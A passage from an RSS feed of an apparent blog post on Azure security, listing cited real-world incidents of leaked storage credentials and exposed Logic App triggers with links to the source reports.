href="https://socradar.io/microsoft-data-breach-2-4-tb-of-sensitive-data-leaked-by-bluebleed/">socradar.io/microsoft-data-breach-2–4-tb-of-sensitive-data-leaked-by-bluebleed</a></li><li><strong>Microsoft Security Blog, October 2025</strong> — Documented threat actor activity targeting Azure Blob Storage via misconfigured SAS tokens, anonymous containers, blob-triggered Logic Apps. <a href="https://www.microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage/">microsoft.com/en-us/security/blog/2025/10/20/inside-the-attack-chain-threat-activity-targeting-azure-blob-storage</a></li><li><strong>Toyota T-Connect, October 2022</strong> — Access key on GitHub since 2017. 296,019 customers. Five years. See Part 1.</li><li><strong>Samsung, 2023</strong> — Employees committed internal credentials and source code to public GitHub repos.</li><li><strong>Axis Communications CVE-2024–27958</strong> — Hardcoded Azure Storage credentials in signed DLLs shipped to customers.</li></ul><p><strong>Real Cases — Logic Apps</strong></p><ul><li><strong>ITAdmin365 security assessment, February 2026</strong> — Logic Apps with unrestricted HTTP triggers flagged High Impact. Trigger URLs distributed in internal documentation beyond intended audience. <a href="https://itadmin365.wordpress.com/2026/02/18/securing-azure-logic-app-http-triggers-with-ip-restrictions/">itadmin365.wordpress.com/2026/02/18/securing-azure-logic-app-http-triggers-with-ip-restrictions</a></li><li><strong>Redfox Cybersecurity, 2025</strong> — Logic Apps among first resources enumerated after Azure authentication. Run history exposes managed identity tokens. Blob-triggered workflows exploitable with write access. <a href="https://www.redfoxsec.com/blog/azure-logic-apps-and-automation-accounts-exploitation">redfoxsec.com/blog/azure-logic-apps-and-automation-accounts-exploitation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ce616914fb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>